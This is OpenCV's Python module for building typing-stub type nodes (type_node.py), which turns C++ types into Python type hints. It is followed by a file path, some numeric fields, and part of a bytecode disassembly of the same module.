from typing import Sequence, Generator, Tuple, Optional, Union import weakref import abc from .node import ASTNode, ASTNodeType class TypeResolutionError(Exception): pass class TypeNode(abc.ABC): """This class and its derivatives used for construction parts of AST that otherwise can't be constructed from the information provided by header parser, because this information is either not available at that moment of time or not available at all: - There is no possible way to derive correspondence between C++ type and its Python equivalent if it is not exposed from library e.g. `cv::Rect`. - There is no information about types visibility (see `ASTNodeTypeNode`). """ compatible_to_runtime_usage = False """Class-wide property that switches exported type names for several nodes. Example: >>> node = OptionalTypeNode(ASTNodeTypeNode("Size")) >>> node.typename # TypeNode.compatible_to_runtime_usage == False "Size | None" >>> TypeNode.compatible_to_runtime_usage = True >>> node.typename "typing.Optional[Size]" """ def __init__(self, ctype_name: str) -> None: self.ctype_name = ctype_name @abc.abstractproperty def typename(self) -> str: """Short name of the type node used that should be used in the same module (or a file) where type is defined. Returns: str: short name of the type node. """ pass @property def full_typename(self) -> str: """Full name of the type node including full module name starting from the package. Example: 'cv2.Algorithm', 'cv2.gapi.ie.PyParams'. Returns: str: full name of the type node. """ return self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: """Generator filled with import statements required for type node definition (especially used by `AliasTypeNode`). Example: ```python Callback = typing.Callable[[cv2.GMat, float], None] callback_alias = AliasTypeNode.callable_( 'Callback', arg_types=(ASTNodeTypeNode('GMat'), PrimitiveTypeNode.float_()) ) for required_import in callback_alias.required_definition_imports: print(required_import) ``` Yields: Generator[str, None, None]: generator filled with import statements required for type node definition. """ yield from () @property def required_usage_imports(self) -> Generator[str, None, None]: """Generator filled with import statements required for type node usage. Example: ```python Callback = typing.Callable[[cv2.GMat, float], None] callback_alias = AliasTypeNode.callable_( 'Callback', arg_types=(ASTNodeTypeNode('GMat'), PrimitiveTypeNode.float_()) ) for required_import in callback_alias.required_usage_imports: print(required_import) ``` Yields: Generator[str, None, None]: generator filled with import statements required for type node definition. """ yield from () @property def is_resolved(self) -> bool: return True def relative_typename(self, module_full_export_name: str) -> str: """Type name relative to the provided module. Args: module_full_export_name (str): Full export name of the module to get relative name to. Returns: str: If module name of the type node doesn't match `module`, then returns class scopes + `self.typename`, otherwise `self.full_typename`. """ return self.full_typename def resolve(self, root: ASTNode) -> None: """Resolves all references to AST nodes using a top-down search for nodes with corresponding export names. See `_resolve_symbol` for more details. Args: root (ASTNode): Node pointing to the root of a subtree in AST representing search scope of the symbol. Most of the symbols don't have full paths in their names, so scopes should be examined in bottom-up manner starting with narrowest one. Raises: TypeResolutionError: if at least 1 reference to AST node can't be resolved in the subtree pointed by the root. """ pass class NoneTypeNode(TypeNode): """Type node representing a None (or `void` in C++) type.""" @property def typename(self) -> str: return "None" class AnyTypeNode(TypeNode): """Type node representing any type (most of the time it means unknown).""" @property def typename(self) -> str: return "_typing.Any" @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" class PrimitiveTypeNode(TypeNode): """Type node representing a primitive built-in types e.g. int, float, str.""" def __init__(self, ctype_name: str, typename: Optional[str] = None) -> None: super().__init__(ctype_name) self._typename = typename if typename is not None else ctype_name @property def typename(self) -> str: return self._typename @classmethod def int_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "int" return PrimitiveTypeNode(ctype_name, typename="int") @classmethod def float_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "float" return PrimitiveTypeNode(ctype_name, typename="float") @classmethod def bool_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "bool" return PrimitiveTypeNode(ctype_name, typename="bool") @classmethod def str_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "string" return PrimitiveTypeNode(ctype_name, "str") class AliasRefTypeNode(TypeNode): """Type node representing an alias referencing another alias. Example: ```python Point2i = tuple[int, int] Point = Point2i ``` During typing stubs generation procedure above code section might be defined as follows ```python AliasTypeNode.tuple_("Point2i", items=( PrimitiveTypeNode.int_(), PrimitiveTypeNode.int_() )) AliasTypeNode.ref_("Point", "Point2i") ``` """ def __init__(self, alias_ctype_name: str, alias_export_name: Optional[str] = None): super().__init__(alias_ctype_name) if alias_export_name is None: self.alias_export_name = alias_ctype_name else: self.alias_export_name = alias_export_name @property def typename(self) -> str: return self.alias_export_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename class AliasTypeNode(TypeNode): """Type node representing an alias to another type. Example: ```python Point2i = tuple[int, int] ``` can be defined as ```python AliasTypeNode.tuple_("Point2i", items=( PrimitiveTypeNode.int_(), PrimitiveTypeNode.int_() )) ``` Under the hood it is implemented as a container of another type node. """ def __init__( self, ctype_name: str, value: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ) -> None: super().__init__(ctype_name) self.value = value self._export_name = export_name self.doc = doc @property def typename(self) -> str: if self._export_name is not None: return self._export_name return self.ctype_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: return self.value.required_usage_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import cv2.typing" @property def is_resolved(self) -> bool: return self.value.is_resolved def resolve(self, root: ASTNode): try: self.value.resolve(root) except TypeResolutionError as e: raise TypeResolutionError( 'Failed to resolve alias "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) from e @classmethod def int_( cls, ctype_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, PrimitiveTypeNode.int_(), export_name, doc) @classmethod def float_( cls, ctype_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, PrimitiveTypeNode.float_(), export_name, doc) @classmethod def array_ref_( cls, ctype_name: str, array_ref_name: str, shape: Optional[Tuple[int, ...]], dtype: Optional[str] = None, export_name: Optional[str] = None, doc: Optional[str] = None, ): """Create alias to array reference alias `array_ref_name`. This is required to preserve backward compatibility with Python < 3.9 and NumPy 1.20, when NumPy module introduces generics support. Args: ctype_name (str): Name of the alias. array_ref_name (str): Name of the conditional array alias. shape (Optional[Tuple[int, ...]]): Array shape. dtype (Optional[str], optional): Array type. Defaults to None. export_name (Optional[str], optional): Alias export name. Defaults to None. doc (Optional[str], optional): Documentation string for alias. Defaults to None. """ if doc is None: doc = f"NDArray(shape={shape}, dtype={dtype})" else: doc += f". NDArray(shape={shape}, dtype={dtype})" return cls(ctype_name, AliasRefTypeNode(array_ref_name), export_name, doc) @classmethod def union_( cls, ctype_name: str, items: Tuple[TypeNode, ...], export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, UnionTypeNode(ctype_name, items), export_name, doc) @classmethod def optional_( cls, ctype_name: str, item: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, OptionalTypeNode(item), export_name, doc) @classmethod def sequence_( cls, ctype_name: str, item: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, SequenceTypeNode(ctype_name, item), export_name, doc) @classmethod def tuple_( cls, ctype_name: str, items: Tuple[TypeNode, ...], export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, TupleTypeNode(ctype_name, items), export_name, doc) @classmethod def class_( cls, ctype_name: str, class_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, ASTNodeTypeNode(class_name), export_name, doc) @classmethod def callable_( cls, ctype_name: str, arg_types: Union[TypeNode, Sequence[TypeNode]], ret_type: TypeNode = NoneTypeNode("void"), export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, CallableTypeNode(ctype_name, arg_types, ret_type), export_name, doc, ) @classmethod def ref_( cls, ctype_name: str, alias_ctype_name: str, alias_export_name: Optional[str] = None, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, AliasRefTypeNode(alias_ctype_name, alias_export_name), export_name, doc, ) @classmethod def dict_( cls, ctype_name: str, key_type: TypeNode, value_type: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, DictTypeNode(ctype_name, key_type, value_type), export_name, doc ) class ConditionalAliasTypeNode(TypeNode): """Type node representing an alias protected by condition checked in runtime. For typing-related conditions, prefer using typing.TYPE_CHECKING. For a full explanation, see: https://github.com/opencv/opencv/pull/23927#discussion_r1256326835 Example: ```python if typing.TYPE_CHECKING NumPyArray = numpy.ndarray[typing.Any, numpy.dtype[numpy.generic]] else: NumPyArray = numpy.ndarray ``` is defined as follows: ```python ConditionalAliasTypeNode( "NumPyArray", 'typing.TYPE_CHECKING', NDArrayTypeNode("NumPyArray"), NDArrayTypeNode("NumPyArray", use_numpy_generics=False), condition_required_imports=("import typing",) ) ``` """ def __init__( self, ctype_name: str, condition: str, positive_branch_type: TypeNode, negative_branch_type: TypeNode, export_name: Optional[str] = None, condition_required_imports: Sequence[str] = (), ) -> None: super().__init__(ctype_name) self.condition = condition self.positive_branch_type = positive_branch_type self.positive_branch_type.ctype_name = self.ctype_name self.negative_branch_type = negative_branch_type self.negative_branch_type.ctype_name = self.ctype_name self._export_name = export_name self._condition_required_imports = condition_required_imports @property def typename(self) -> str: if self._export_name is not None: return self._export_name return self.ctype_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: yield from self.positive_branch_type.required_usage_imports yield from self.negative_branch_type.required_usage_imports yield from self._condition_required_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import cv2.typing" @property def is_resolved(self) -> bool: return ( self.positive_branch_type.is_resolved and self.negative_branch_type.is_resolved ) def resolve(self, root: ASTNode): try: self.positive_branch_type.resolve(root) self.negative_branch_type.resolve(root) except TypeResolutionError as e: raise TypeResolutionError( 'Failed to resolve alias "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) from e @classmethod def numpy_array_( cls, ctype_name: str, export_name: Optional[str] = None, shape: Optional[Tuple[int, ...]] = None, dtype: Optional[str] = None, ): """Type subscription is not possible in python 3.8 and older numpy versions.""" return cls( ctype_name, "_typing.TYPE_CHECKING", NDArrayTypeNode(ctype_name, shape, dtype), NDArrayTypeNode(ctype_name, shape, dtype, use_numpy_generics=False), condition_required_imports=("import typing as _typing",), ) class NDArrayTypeNode(TypeNode): """Type node representing NumPy ndarray.""" def __init__( self, ctype_name: str, shape: Optional[Tuple[int, ...]] = None, dtype: Optional[str] = None, use_numpy_generics: bool = True, ) -> None: super().__init__(ctype_name) self.shape = shape self.dtype = dtype self._use_numpy_generics = use_numpy_generics @property def typename(self) -> str: if self._use_numpy_generics: dtype = self.dtype if self.dtype is not None else "numpy.generic" return f"numpy.ndarray[_typing.Any, numpy.dtype[{dtype}]]" return "numpy.ndarray" @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import numpy" yield "import typing as _typing" class ASTNodeTypeNode(TypeNode): """Type node representing a lazy ASTNode corresponding to type of function argument or its return type or type of class property. Introduced laziness nature resolves the types visibility issue - all types should be known during function declaration to select an appropriate node from the AST. Such knowledge leads to evaluation of all preprocessor directives (`#include` particularly) for each processed header and might be too expensive and error prone. """ def __init__( self, ctype_name: str, typename: Optional[str] = None, module_name: Optional[str] = None, ) -> None: super().__init__(ctype_name) self._typename = typename if typename is not None else ctype_name self._module_name = module_name self._ast_node: Optional[weakref.ProxyType[ASTNode]] = None @property def ast_node(self): return self._ast_node @property def typename(self) -> str: if self._ast_node is None: return self._typename typename = self._ast_node.export_name if self._ast_node.node_type is not ASTNodeType.Enumeration: return typename parent = self._ast_node.parent while parent.node_type is ASTNodeType.Class: typename = parent.export_name + "_" + typename parent = parent.parent return typename @property def full_typename(self) -> str: if self._ast_node is not None: if self._ast_node.node_type is not ASTNodeType.Enumeration: return self._ast_node.full_export_name typename = self._ast_node.export_name parent = self._ast_node.parent while parent.node_type is ASTNodeType.Class: typename = parent.export_name + "_" + typename parent = parent.parent return parent.full_export_name + "." + typename if self._module_name is not None: return self._module_name + "." + self._typename return self._typename @property def required_usage_imports(self) -> Generator[str, None, None]: if self._module_name is None: assert ( self._ast_node is not None ), "Can't find a module for class '{}' exported as '{}'".format( self.ctype_name, self.typename, ) module = self._ast_node.parent while module.node_type is not ASTNodeType.Namespace: module = module.parent yield "import " + module.full_export_name else: yield "import " + self._module_name @property def is_resolved(self) -> bool: return self._ast_node is not None or self._module_name is not None def resolve(self, root: ASTNode): if self.is_resolved: return node = _resolve_symbol(root, self.typename) if node is None: raise TypeResolutionError( 'Failed to resolve "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) self._ast_node = weakref.proxy(node) def relative_typename(self, module: str) -> str: assert ( self._ast_node is not None or self._module_name is not None ), "'{}' exported as '{}' is not resolved yet".format( self.ctype_name, self.typename ) if self._module_name is None: type_module = self._ast_node.parent # type: ignore while type_module.node_type is not ASTNodeType.Namespace: type_module = type_module.parent module_name = type_module.full_export_name else: module_name = self._module_name if module_name != module: return self.full_typename return self.full_typename[len(module_name) + 1 :] class AggregatedTypeNode(TypeNode): """Base type node for type nodes representing an aggregation of another type nodes e.g. tuple, sequence or callable.""" def __init__(self, ctype_name: str, items: Sequence[TypeNode]) -> None: super().__init__(ctype_name) self.items = list(items) @property def is_resolved(self) -> bool: return all(item.is_resolved for item in self.items) def resolve(self, root: ASTNode) -> None: errors = [] for item in filter(lambda item: not item.is_resolved, self): try: item.resolve(root) except TypeResolutionError as e: errors.append(str(e)) if len(errors) > 0: raise TypeResolutionError( 'Failed to resolve one of "{}" items. Errors: {}'.format( self.full_typename, errors ) ) def __iter__(self): return iter(self.items) def __len__(self) -> int: return len(self.items) @property def required_definition_imports(self) -> Generator[str, None, None]: for item in self: yield from item.required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: for item in self: yield from item.required_usage_imports class ContainerTypeNode(AggregatedTypeNode): """Base type node for all type nodes representing a container type.""" @property def typename(self) -> str: return self.type_format.format( self.types_separator.join(item.typename for item in self) ) @property def full_typename(self) -> str: return self.type_format.format( self.types_separator.join(item.full_typename for item in self) ) def relative_typename(self, module: str) -> str: return self.type_format.format( self.types_separator.join(item.relative_typename(module) for item in self) ) @property def required_definition_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: if TypeNode.compatible_to_runtime_usage: yield "import typing as _typing" yield from super().required_usage_imports @abc.abstractproperty def type_format(self) -> str: pass @abc.abstractproperty def types_separator(self) -> str: pass class SequenceTypeNode(ContainerTypeNode): """Type node representing a homogeneous collection of elements with possible unknown length. """ def __init__(self, ctype_name: str, item: TypeNode) -> None: super().__init__(ctype_name, (item,)) @property def type_format(self) -> str: return "_typing.Sequence[{}]" @property def types_separator(self) -> str: return ", " class TupleTypeNode(ContainerTypeNode): """Type node representing possibly heterogeneous collection of types with possibly unspecified length. """ @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Tuple[{}]" return "tuple[{}]" @property def types_separator(self) -> str: return ", " class UnionTypeNode(ContainerTypeNode): """Type node representing type that can be one of the predefined set of types.""" @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Union[{}]" return "{}" @property def types_separator(self) -> str: if TypeNode.compatible_to_runtime_usage: return ", " return " | " class OptionalTypeNode(ContainerTypeNode): """Type node representing optional type which is effectively is a union of value type node and None. """ def __init__(self, value: TypeNode) -> None: super().__init__(value.ctype_name, (value,)) @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Optional[{}]" return "{} | None" @property def types_separator(self) -> str: return ", " class DictTypeNode(ContainerTypeNode): """Type node representing a homogeneous key-value mapping.""" def __init__( self, ctype_name: str, key_type: TypeNode, value_type: TypeNode ) -> None: super().__init__(ctype_name, (key_type, value_type)) @property def key_type(self) -> TypeNode: return self.items[0] @property def value_type(self) -> TypeNode: return self.items[1] @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Dict[{}]" return "dict[{}]" @property def types_separator(self) -> str: return ", " class CallableTypeNode(AggregatedTypeNode): """Type node representing a callable type (most probably a function). ```python CallableTypeNode( 'image_reading_callback', arg_types=(ASTNodeTypeNode('Image'), PrimitiveTypeNode.float_()) ) ``` defines a callable type node representing a function with the same interface as the following ```python def image_reading_callback(image: Image, timestamp: float) -> None: ... ``` """ def __init__( self, ctype_name: str, arg_types: Union[TypeNode, Sequence[TypeNode]], ret_type: TypeNode = NoneTypeNode("void"), ) -> None: if isinstance(arg_types, TypeNode): super().__init__(ctype_name, (arg_types, ret_type)) else: super().__init__(ctype_name, (*arg_types, ret_type)) @property def arg_types(self) -> Sequence[TypeNode]: return self.items[:-1] @property def ret_type(self) -> TypeNode: return self.items[-1] @property def typename(self) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.typename for arg in self.arg_types), self.ret_type.typename ) @property def full_typename(self) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.full_typename for arg in self.arg_types), self.ret_type.full_typename, ) def relative_typename(self, module: str) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.relative_typename(module) for arg in self.arg_types), self.ret_type.relative_typename(module), ) @property def required_definition_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_usage_imports class ClassTypeNode(ContainerTypeNode): """Type node representing types themselves (refer to typing.Type)""" def __init__(self, value: TypeNode) -> None: super().__init__(value.ctype_name, (value,)) @property def type_format(self) -> str: return "_typing.Type[{}]" @property def types_separator(self) -> str: return ", " def _resolve_symbol( root: Optional[ASTNode], full_symbol_name: str ) -> Optional[ASTNode]: """Searches for a symbol with the given full export name in the AST starting from the `root`. Args: root (Optional[ASTNode]): Root of the examining AST. full_symbol_name (str): Full export name of the symbol to find. Path components can be divided by '.' or '_'. Returns: Optional[ASTNode]: ASTNode with full export name equal to `full_symbol_name`, None otherwise. >>> root = NamespaceNode('cv') >>> cls = root.add_class('Algorithm').add_class('Params') >>> _resolve_symbol(root, 'cv.Algorithm.Params') == cls True >>> root = NamespaceNode('cv') >>> enum = root.add_namespace('detail').add_enumeration('AlgorithmType') >>> _resolve_symbol(root, 'cv_detail_AlgorithmType') == enum True >>> root = NamespaceNode('cv') >>> _resolve_symbol(root, 'cv.detail.Algorithm') None >>> root = NamespaceNode('cv') >>> enum = root.add_namespace('detail').add_enumeration('AlgorithmType') >>> _resolve_symbol(root, 'AlgorithmType') None """ def search_down_symbol( scope: Optional[ASTNode], scope_sep: str ) -> Optional[ASTNode]: parts = full_symbol_name.split(scope_sep, maxsplit=1) while len(parts) == 2: scope = _resolve_symbol(scope, parts[0]) if scope is None: return None node = _resolve_symbol(scope, parts[1]) if node is not None: return node parts = parts[1].split(scope_sep, maxsplit=1) return None assert root is not None, "Can't resolve symbol '{}' from NONE root".format( full_symbol_name ) for attr in filter( lambda attr: hasattr(root, attr), ("namespaces", "classes", "enumerations") ): nodes_dict = getattr(root, attr) node = nodes_dict.get(full_symbol_name, None) if node is not None: return node for scope_sep in ("_", "."): node = search_down_symbol(root, scope_sep) if node is not None: return node return None
data/opencv-python-headless-4.9.0.80/opencv/modules/python/src2/typing_stubs_generation/nodes/type_node.py
18,034
9,016
396,511
LOAD_CONST 0 LOAD_CONST ('Sequence', 'Generator', 'Tuple', 'Optional', 'Union') IMPORT_NAME typing IMPORT_FROM Sequence STORE_NAME Sequence IMPORT_FROM Generator STORE_NAME Generator IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME weakref STORE_NAME weakref LOAD_CONST 0 LOAD_CONST None IMPORT_NAME abc STORE_NAME abc LOAD_CONST 1 LOAD_CONST ('ASTNode', 'ASTNodeType') IMPORT_NAME node IMPORT_FROM ASTNode STORE_NAME ASTNode IMPORT_FROM ASTNodeType STORE_NAME ASTNodeType POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object TypeResolutionError at 0x7fab8019b8a0, file "f.py", line 8> LOAD_CONST 'TypeResolutionError' MAKE_FUNCTION LOAD_CONST 'TypeResolutionError' LOAD_NAME Exception CALL_FUNCTION STORE_NAME TypeResolutionError LOAD_BUILD_CLASS LOAD_CONST <code object TypeNode at 0x7fab64043300, file "f.py", line 12> LOAD_CONST 'TypeNode' MAKE_FUNCTION LOAD_CONST 'TypeNode' LOAD_NAME abc LOAD_ATTR ABC CALL_FUNCTION STORE_NAME TypeNode LOAD_BUILD_CLASS LOAD_CONST <code object NoneTypeNode at 0x7fab64043270, file "f.py", line 143> LOAD_CONST 'NoneTypeNode' MAKE_FUNCTION LOAD_CONST 'NoneTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME NoneTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AnyTypeNode at 0x7fab823b24b0, file "f.py", line 151> LOAD_CONST 'AnyTypeNode' MAKE_FUNCTION LOAD_CONST 'AnyTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AnyTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object PrimitiveTypeNode at 0x7fab7004f0c0, file "f.py", line 163> LOAD_CONST 'PrimitiveTypeNode' MAKE_FUNCTION LOAD_CONST 'PrimitiveTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME PrimitiveTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AliasRefTypeNode at 0x7fab7004fae0, file "f.py", line 199> LOAD_CONST 'AliasRefTypeNode' MAKE_FUNCTION LOAD_CONST 'AliasRefTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AliasRefTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AliasTypeNode at 0x7fab42a66c00, file "f.py", line 233> LOAD_CONST 'AliasTypeNode' MAKE_FUNCTION LOAD_CONST 'AliasTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AliasTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ConditionalAliasTypeNode at 0x7fab70165e40, file "f.py", line 439> LOAD_CONST 'ConditionalAliasTypeNode' MAKE_FUNCTION LOAD_CONST 'ConditionalAliasTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME ConditionalAliasTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object NDArrayTypeNode at 0x7fab70165780, file "f.py", line 538> LOAD_CONST 'NDArrayTypeNode' MAKE_FUNCTION LOAD_CONST 'NDArrayTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME NDArrayTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ASTNodeTypeNode at 0x7fab70165030, file "f.py", line 566> LOAD_CONST 'ASTNodeTypeNode' MAKE_FUNCTION LOAD_CONST 'ASTNodeTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME ASTNodeTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AggregatedTypeNode at 0x7fab428c8b70, file "f.py", line 670> LOAD_CONST 'AggregatedTypeNode' MAKE_FUNCTION LOAD_CONST 'AggregatedTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AggregatedTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ContainerTypeNode at 0x7fab428c8ae0, file "f.py", line 713> LOAD_CONST 'ContainerTypeNode' MAKE_FUNCTION LOAD_CONST 'ContainerTypeNode' LOAD_NAME AggregatedTypeNode CALL_FUNCTION STORE_NAME ContainerTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object SequenceTypeNode at 0x7fab428c8930, file "f.py", line 753> LOAD_CONST 'SequenceTypeNode' MAKE_FUNCTION LOAD_CONST 'SequenceTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME SequenceTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object TupleTypeNode at 0x7fab543319c0, file "f.py", line 770> LOAD_CONST 'TupleTypeNode' MAKE_FUNCTION LOAD_CONST 'TupleTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME TupleTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object UnionTypeNode at 0x7fab54331300, file "f.py", line 786> LOAD_CONST 'UnionTypeNode' MAKE_FUNCTION LOAD_CONST 'UnionTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME UnionTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object OptionalTypeNode at 0x7fab54331c90, file "f.py", line 802> LOAD_CONST 'OptionalTypeNode' MAKE_FUNCTION LOAD_CONST 'OptionalTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME OptionalTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object DictTypeNode at 0x7fab54331ae0, file "f.py", line 821> LOAD_CONST 'DictTypeNode' MAKE_FUNCTION LOAD_CONST 'DictTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME DictTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object CallableTypeNode at 0x7fab42bd86f0, file "f.py", line 848> LOAD_CONST 'CallableTypeNode' MAKE_FUNCTION LOAD_CONST 'CallableTypeNode' LOAD_NAME AggregatedTypeNode CALL_FUNCTION STORE_NAME CallableTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ClassTypeNode at 0x7fab543a4780, file "f.py", line 913> LOAD_CONST 'ClassTypeNode' MAKE_FUNCTION LOAD_CONST 'ClassTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME ClassTypeNode LOAD_NAME Optional LOAD_NAME ASTNode BINARY_SUBSCR LOAD_NAME str LOAD_NAME Optional LOAD_NAME ASTNode BINARY_SUBSCR LOAD_CONST ('root', 'full_symbol_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _resolve_symbol at 0x7fab543a4d20, file "f.py", line 928> LOAD_CONST '_resolve_symbol' MAKE_FUNCTION STORE_NAME _resolve_symbol LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TypeResolutionError' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TypeNode' STORE_NAME __qualname__ LOAD_CONST "This class and its derivatives used for construction parts of AST that\n otherwise can't be constructed from the information provided by header\n parser, because this information is either not available at that moment of\n time or not available at all:\n - There is no possible way to derive correspondence between C++ type\n and its Python equivalent if it is not exposed from library\n e.g. `cv::Rect`.\n - There is no information about types visibility (see `ASTNodeTypeNode`).\n " STORE_NAME __doc__ LOAD_CONST False STORE_NAME compatible_to_runtime_usage LOAD_NAME str LOAD_CONST None LOAD_CONST ('ctype_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fae471296f0, file "f.py", line 34> LOAD_CONST 'TypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab82053c90, file "f.py", line 37> LOAD_CONST 'TypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab82053030, file "f.py", line 47> LOAD_CONST 'TypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab4297b030, file "f.py", line 58> LOAD_CONST 'TypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab4297b420, file "f.py", line 82> LOAD_CONST 'TypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab4297b540, file "f.py", line 106> LOAD_CONST 'TypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME str LOAD_NAME str LOAD_CONST ('module_full_export_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab64043420, file "f.py", line 110> LOAD_CONST 'TypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME ASTNode LOAD_CONST None LOAD_CONST ('root', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab640430c0, file "f.py", line 124> LOAD_CONST 'TypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_CONST None RETURN_VALUE LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR ctype_name LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR typename RETURN_VALUE LOAD_CONST () GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST () GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_ATTR full_typename RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'NoneTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a None (or `void` in C++) type.' STORE_NAME __doc__ 